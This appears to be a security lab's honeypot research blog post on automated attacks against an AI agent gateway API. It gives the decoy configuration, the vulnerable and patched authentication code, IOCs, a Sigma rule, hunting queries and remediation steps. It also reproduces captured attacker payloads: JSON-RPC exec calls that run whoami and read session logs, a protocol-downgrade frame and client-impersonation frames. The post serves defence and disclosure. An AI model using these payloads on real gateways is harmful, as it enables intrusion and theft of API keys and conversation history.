← Back to blog

Automated Exploitation Campaigns Targeting OpenClaw Gateway Infrastructure

February 1, 2026 by Beelzebub Security Lab
Threat Intelligence AI Infrastructure Security Honeypot Research
Automated Exploitation Campaigns Targeting OpenClaw Gateway Infrastructure

Executive Summary

Attribute Detail
First Observed 2026-02-01 19:08:53 UTC
Attack Origin Portugal (185.180.141.19)
Attack Tool gitmc-org-mcp-scanner, raw JSON-RPC commands
Primary Target OpenClaw Gateway WebSocket API (port 18789)

Bottom Line: Automated exploitation campaigns are actively targeting OpenClaw Gateway deployments. Attackers demonstrate accurate protocol knowledge, exploit authentication bypass vulnerabilities, and follow a systematic three-phase playbook to extract credentials and conversation history. Unpatched instances are at immediate risk.


1. Attack Overview

1.1 Background

OpenClaw is an AI agent gateway platform that exposes a WebSocket API on port 18789. Until recent patches, this API:

  • Defaulted to no authentication when unconfigured
  • Trusted all reverse-proxied connections as localhost
  • Exposed sensitive configuration and chat history to authenticated clients

We deployed a Beelzebub honeypot mimicking an OpenClaw Gateway to observe attacker behavior. The first probes arrived within 45 minutes.

1.1.1 Beelzebub Configuration

We deployed a Beelzebub honeypot configured to mimic OpenClaw Gateway responses across all standard endpoints.

Emulated Endpoints:

Endpoint Purpose
/, /ws WebSocket handshake (101 upgrade)
/mcp MCP JSON-RPC endpoint
/sse Server-Sent Events transport
/ui Control UI interface
/tools/invoke Tool invocation (returns 401)
/v1/chat/completions OpenAI-compatible API
/v1/responses OpenResponses API
/hooks/* Webhook triggers
/health, /status, /metrics Service fingerprinting

Configuration

apiVersion: "v1"
protocol: "http"
address: ":18789"
description: "OpenClaw Gateway decoy"
commands:
  # --------------------------
  # WebSocket handshake decoy
  # --------------------------
  # Note: Sec-WebSocket-Accept here is static (not computed from Sec-WebSocket-Key).
  # This is enough to trick many scanners; strict WS clients may reject it.
  - regex: "^/$"
    headers:
      - "Server: openclaw-gateway"
      - "Connection: Upgrade"
      - "Upgrade: websocket"
      - "Sec-WebSocket-Version: 13"
      - "Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=" # dummy
      - "Cache-Control: no-store"
    statusCode: 101
    handler: ""

  - regex: "^/ws$"
    headers:
      - "Server: openclaw-gateway"
      - "Connection: Upgrade"
      - "Upgrade: websocket"
      - "Sec-WebSocket-Version: 13"
      - "Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=" # dummy
      - "Cache-Control: no-store"
    statusCode: 101
    handler: ""

  # --------------------------
  # Control UI (HTTP fallback)
  # --------------------------
  - regex: "^/ui/?$"
    headers:
      - "Content-Type: text/html; charset=utf-8"
      - "Server: openclaw-gateway"
      - "Cache-Control: no-store"
    statusCode: 200
    handler: |
      <!doctype html>
      <html>
      <head><meta charset="utf-8"><title>OpenClaw Gateway</title></head>
      <body>
        <h1>OpenClaw Gateway</h1>
        <p>Control UI is enabled.</p>
        <ul>
          <li><code>/tools/invoke</code></li>
          <li><code>/v1/chat/completions</code></li>
          <li><code>/v1/responses</code></li>
          <li><code>/hooks/*</code></li>
          <li><code>WS:</code> <code>/</code> or <code>/ws</code></li>
        </ul>
      </body>
      </html>

  # --------------------------
  # Basic probes
  # --------------------------
  - regex: "^/(health|status|metrics)$"
    headers:
      - "Content-Type: application/json"
      - "Server: openclaw-gateway"
      - "Cache-Control: no-store"
    statusCode: 200
    handler: |
      {"ok":true,"service":"openclaw-gateway","version":"0.0.0","note":"decoy"}

  # --------------------------
  # Tools Invoke (POST /tools/invoke)
  # Always enabled in real OpenClaw, but gated by auth/policy
  # --------------------------
  - regex: "^/tools/invoke$"
    headers:
      - "Content-Type: application/json"
      - "Server: openclaw-gateway"
      - 'WWW-Authenticate: Bearer realm="openclaw"'
      - "Cache-Control: no-store"
    statusCode: 401
    handler: |
      {"error":{"message":"Unauthorized","type":"auth_error","code":"invalid_api_key"}}

  # --------------------------
  # OpenAI-compatible (POST /v1/chat/completions) – often disabled by default
  # --------------------------
  - regex: "^/v1/chat/completions$"
    headers:
      - "Content-Type: application/json"
      - "Server: openclaw-gateway"
      - "Cache-Control: no-store"
    statusCode: 404
    handler: |
      {"error":{"message":"Not Found (endpoint disabled)","type":"not_found","code":"endpoint_disabled"}}

  # --------------------------
  # OpenResponses-compatible (POST /v1/responses) – often disabled by default
  # --------------------------
  - regex: "^/v1/responses$"
    headers:
      - "Content-Type: application/json"
      - "Server: openclaw-gateway"
      - "Cache-Control: no-store"
    statusCode: 404
    handler: |
      {"error":{"message":"Not Found (endpoint disabled)","type":"not_found","code":"endpoint_disabled"}}

  # --------------------------
  # Hooks (/hooks/wake, /hooks/agent, /hooks/<name>)
  # --------------------------
  - regex: "^/hooks/(wake|agent)$"
    headers:
      - "Content-Type: application/json"
      - "Server: openclaw-gateway"
      - 'WWW-Authenticate: Bearer realm="openclaw-hooks"'
      - "Cache-Control: no-store"
    statusCode: 401
    handler: |
      {"error":{"message":"Unauthorized hook","type":"auth_error","code":"invalid_hook_token"}}

  - regex: "^/hooks/[^/]+$"
    headers:
      - "Content-Type: application/json"
      - "Server: openclaw-gateway"
      - 'WWW-Authenticate: Bearer realm="openclaw-hooks"'
      - "Cache-Control: no-store"
    statusCode: 401
    handler: |
      {"error":{"message":"Unauthorized hook mapping","type":"auth_error","code":"invalid_hook_token"}}

  # --------------------------
  # Canvas hint (redirect to canvas host)
  # --------------------------
  - regex: "^/__openclaw__/canvas/?$"
    headers:
      - "Location: http://127.0.0.1:18793/__openclaw__/canvas/"
      - "Server: openclaw-gateway"
      - "Cache-Control: no-store"
    statusCode: 301
    handler: ""

  # --------------------------
  # Catch-all with LLM
  # --------------------------
  - regex: "^.*$"
    plugin: "LLMHoneypot"

For complete configuration, see Beelzebub API documentation.

1.2 Attacker Objectives

A successful compromise yields:

Asset Impact
API Keys Anthropic, OpenAI credentials for LLM abuse
Gateway Credentials Full administrative access
Channel Tokens Telegram, Discord, Slack bot takeover
Conversation History Complete user-AI interaction logs
Node Infrastructure Map Lateral movement in multi-node deployments

1.3 Key Findings

  1. Direct Protocol Attacks: Sending raw JSON-RPC commands for shell execution
  2. Protocol Downgrade Exploitation: Probes force minProtocol: 1 to target authentication weaknesses in pre-January 2026 releases
  3. Accurate Protocol Knowledge: 100% of probed methods map to real OpenClaw handlers. This is not guesswork
  4. Systematic Enumeration: A three-phase playbook (reconnaissance → enumeration → exploitation) extracts maximum value
  5. Client Impersonation: Attackers spoof legitimate client identifiers (openclaw-control-ui, moltbot-control-ui)

2. Vulnerability Analysis

2.1 Authentication Bypass (Patched January 2026)

Root Cause: Authentication defaulted to none when no token or password was configured.

// VULNERABLE CODE
const mode: ResolvedGatewayAuth["mode"] =
  authConfig.mode ?? (password ? "password" : token ? "token" : "none");

// PATCHED CODE
const mode: ResolvedGatewayAuth["mode"] =
  authConfig.mode ?? (password ? "password" : "token");

Impact: Full unauthenticated access to all gateway functions.

2.2 Reverse Proxy Trust Bypass (Patched January 2026)

Root Cause: Gateways behind nginx/Caddy/Traefik treated all proxied connections as trusted localhost.

// VULNERABLE CODE
const isLocalClient = isLocalGatewayAddress(clientIp);
// Problem: clientIp was the proxy's address (127.0.0.1), not the real client

// PATCHED CODE
const hasProxyHeaders = Boolean(forwardedFor || realIp);
const remoteIsTrustedProxy = isTrustedProxyAddress(remoteAddr, trustedProxies);
const hasUntrustedProxyHeaders = hasProxyHeaders && !remoteIsTrustedProxy;
const isLocalClient =
  !hasUntrustedProxyHeaders && isLocalGatewayAddress(clientIp);

Impact: Any external connection routed through an unconfigured reverse proxy bypasses authentication.

3. Attack Methodology

3.1 Three-Phase Attack Playbook

Phase Methods Objective
1. Reconnaissance health, system-presence, ping, version Confirm target, fingerprint version
2. Enumeration agents.list, sessions.list, models.list, node.list, device.pair.list Inventory assets, assess value
3. Exploitation config.get, chat.history, tool (exec) Extract credentials, read data, execute commands

3.2 Attack Techniques

Direct Command Execution

Raw JSON-RPC for shell access:

{"id": 1, "method": "tool", "params": {"args": {"command": "whoami"}, "name": "exec"}, "jsonrpc": "2.0"}
{"id": 4, "method": "tool", "params": {"args": {"command": "cat ~/.openclaw/agents/*/sessions/*.jsonl"}, "name": "exec"}, "jsonrpc": "2.0"}

Protocol Downgrade

Forcing older protocol versions to exploit patched vulnerabilities:

{
  "id": 1,
  "type": "req",
  "method": "connect",
  "params": {
    "client": {
      "id": "cli-client",
      "mode": "interactive",
      "version": "1.0.0",
      "platform": "linux"
    },
    "maxProtocol": 1,
    "minProtocol": 1
  }
}

Client Impersonation

Spoofing legitimate control UI clients to blend with normal traffic:

{
  "params": {
    "role": "operator",
    "client": {
      "id": "openclaw-control-ui",
      "mode": "webchat",
      "version": "dev"
    },
    "scopes": ["operator.admin", "operator.approvals", "operator.pairing"]
  }
}

3.3 Probed Methods vs. Real Handlers

Every probed method has a corresponding handler in OpenClaw source:

Probed Method Handler Location Exposure Risk
node.list src/gateway/server-methods/nodes.ts:223 Infrastructure mapping
chat.history src/gateway/server-methods/chat.ts:184 Full conversation exfiltration
device.pair.list src/gateway/server-methods/devices.ts:33 Device enumeration
channels.status src/gateway/server-methods/channels.ts:70 Channel credential exposure
config.schema src/gateway/server-methods/config.ts:101 Configuration structure
config.get src/gateway/server-methods/config.ts:* API keys, tokens (plaintext)

4. Technical Evidence

4.1 Attack Timeline

All times UTC on February 1, 2026.

Time Phase Activity
19:08:53 Recon Initial WebSocket probe (GET /)
19:08:54 Recon MCP initialization via gitmc-org-mcp-scanner
19:08:54 Recon SSE endpoint probe (/sse)
19:08:56 Exploit Direct command execution attempts (whoami, file reads)
19:08:57 Exploit Protocol downgrade attempt (minProtocol: 1)
19:08:58 Exploit Client impersonation (moltbot-control-ui)
19:08:59 Enum Systematic method enumeration (9-request sequence)
19:09:00 Recon Generic API discovery (ping, echo, version, etc.)
19:09:01 Exploit Alternative frame type probing
19:09:02 Exploit Malformed JSON/parser fuzzing

Total attack duration: ~9 seconds for complete reconnaissance-to-exploitation cycle.

4.2 Scanner Identification

{
  "clientInfo": {
    "name": "gitmc-org-mcp-scanner",
    "version": "1.0.0"
  },
  "protocolVersion": "2025-06-18",
  "capabilities": {
    "sampling": {},
    "elicitation": {},
    "roots": { "listChanged": true }
  }
}

4.3 Full Enumeration Sequence

Captured from a single WebSocket session:

{"id": "req-1", "type": "req", "method": "connect", "params": {...}}
{"id": "req-2", "type": "req", "method": "health", "params": {}}
{"id": "req-3", "type": "req", "method": "system-presence", "params": {}}
{"id": "req-4", "type": "req", "method": "agents.list", "params": {}}
{"id": "req-5", "type": "req", "method": "sessions.list", "params": {}}
{"id": "req-6", "type": "req", "method": "config.get", "params": {}}
{"id": "req-7", "type": "req", "method": "models.list", "params": {}}
{"id": "req-8", "type": "req", "method": "skills.status", "params": {}}
{"id": "req-9", "type": "req", "method": "cron.list", "params": {}}

4.4 Version Targeting Evidence

Probe Characteristic Target Version
minProtocol: 1, maxProtocol: 1 Pre-January 2026 (no device identity)
minProtocol: 3, maxProtocol: 3 Current releases
role: "operator" without device block Older releases
role: "user" with webchat mode Testing privilege bypass

5. Indicators of Compromise

5.1 Network IOCs

IP Addresses:
  - 185.180.141.19 # Portugal, Lisbon metropolitan area

User-Agent Patterns:
  - python-httpx/*
  - Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36

Ports:
  - 18789/tcp (OpenClaw Gateway default)

5.2 Request Signatures

# MCP Scanner Initialization
- method: POST
  path: /mcp
  body_contains: '"method":"initialize"'
  body_contains: 'mcp-scanner'

# Direct Command Execution
- method: POST
  body_contains: '"method":"tool"'
  body_contains: '"name":"exec"'

# Protocol Downgrade
- body_contains: '"minProtocol": 1'
- body_contains: '"maxProtocol": 1'

# Client Impersonation
- body_contains: '"id":"moltbot-control-ui"'
- body_contains: '"id":"openclaw-control-ui"'

# Credential Extraction
- body_contains: '"method":"config.get"'
- body_contains: '"method":"chat.history"'

# Infrastructure Enumeration
- body_contains: '"method":"node.list"'
- body_contains: '"method":"agents.list"'
- body_contains: '"method":"sessions.list"'

6. Detection & Hunting

6.1 Sigma Detection Rule

title: OpenClaw Gateway Exploitation Attempt
id: b2c3d4e5-f6a7-8901-bcde-f23456789012
status: experimental
description: Detects MCP protocol scanning and exploitation attempts targeting OpenClaw AI agent infrastructure
author: Beelzebub Security Lab
date: 2026/02/01
references:
  - https://github.com/mariocandela/beelzebub
  - https://openclaw.ai/
logsource:
  category: webserver
  product: any

detection:
  # Phase 1: Scanner Initialization
  scanner_init:
    cs-method: POST
    cs-uri-stem|contains: "/mcp"
    request_body|contains|all:
      - '"method":"initialize"'
      - "mcp-scanner"

  # Phase 2: Direct Exploitation
  tool_execution:
    request_body|contains|all:
      - '"method":"tool"'
      - '"name":"exec"'

  credential_extraction:
    request_body|contains:
      - '"method":"config.get"'

  protocol_downgrade:
    request_body|contains|all:
      - '"minProtocol"'
      - ": 1"

  # Phase 3: Enumeration
  infrastructure_enum:
    request_body|contains:
      - '"method":"node.list"'
      - '"method":"agents.list"'
      - '"method":"sessions.list"'
      - '"method":"chat.history"'

  # Client Impersonation
  client_spoof:
    request_body|contains:
      - "moltbot-control-ui"
      - "openclaw-control-ui"

  condition: scanner_init or tool_execution or credential_extraction or protocol_downgrade or infrastructure_enum or client_spoof

falsepositives:
  - Legitimate MCP client initialization from known internal IPs
  - Authorized security testing

level: high

tags:
  - attack.reconnaissance
  - attack.t1595
  - attack.t1046
  - attack.credential_access
  - attack.t1552

6.2 Hunting Queries

Splunk:

index=webserver sourcetype=access_combined
| search (uri_path="/mcp" OR uri_path="/ws" OR uri_path="/sse")
| where match(request_body, "(?i)(config\.get|chat\.history|node\.list|method.*tool.*exec)")
| stats count by src_ip, uri_path, request_body
| where count > 3

Elastic/KQL:

http.request.body.content: (*"method":"config.get"* OR *"method":"chat.history"* OR *"method":"node.list"* OR *"name":"exec"*)
AND url.path: ("/mcp" OR "/ws" OR "/sse")

7. Remediation Guidance

Priority Action Command/Config
P0 Update OpenClaw Versions before January 26, 2026 are vulnerable
P0 Verify authentication openclaw config get gateway.auth
P0 Block exposed ports Firewall port 18789 from public access

7.1 Network Architecture

DO NOT expose the OpenClaw gateway directly to the internet.

Recommended access patterns:

  • Local development: Bind to localhost only
  • Remote access: Tailscale Serve or VPN with IP allowlisting
  • Production: Private network with authenticated API gateway

7.2 Credential Rotation

If you suspect compromise, rotate immediately:

  1. Anthropic API keys
  2. OpenAI API keys
  3. Gateway authentication tokens
  4. Channel tokens (Telegram, Discord, Slack)
  5. Any credentials stored in OpenClaw config

7.3 Monitoring Implementation

Deploy detection rules from Section 6 and monitor for:

  • POST requests to /mcp, /ws, /sse
  • JSON-RPC tool method with exec name
  • config.get and chat.history requests
  • Protocol downgrade attempts (minProtocol: 1)
  • Spoofed client identifiers

8. Framework Mapping

Observed Behavior MITRE ATT&CK MITRE ATLAS OWASP API 2023 OWASP Agentic 2026
Protocol enumeration T1595 Active Scanning AML.T0006 Active Scanning API9 Improper Inventory -
Service fingerprinting T1046 Network Service Discovery - - -
AI endpoint probing T1595 Active Scanning AML.T0040 AI Model Inference API - -
Tool invocation/RCE - AML.T0053 AI Agent Tool Invocation - ASI02 Tool Misuse
System discovery T1082 System Info Discovery AML.T0050 Command Interpreter - -
Config discovery - AML.T0084 Discover AI Agent Config - -
Credential theft - AML.T0083 Creds from AI Agent Config API5 Broken Function Auth ASI03 Privilege Abuse
Client impersonation T1078 Valid Accounts AML.T0074 Masquerading API2 Broken Authentication ASI03 Privilege Abuse
Parser fuzzing - - API8 Security Misconfiguration -

The Beelzebub team is dedicated to making the internet a better and safer place ❤️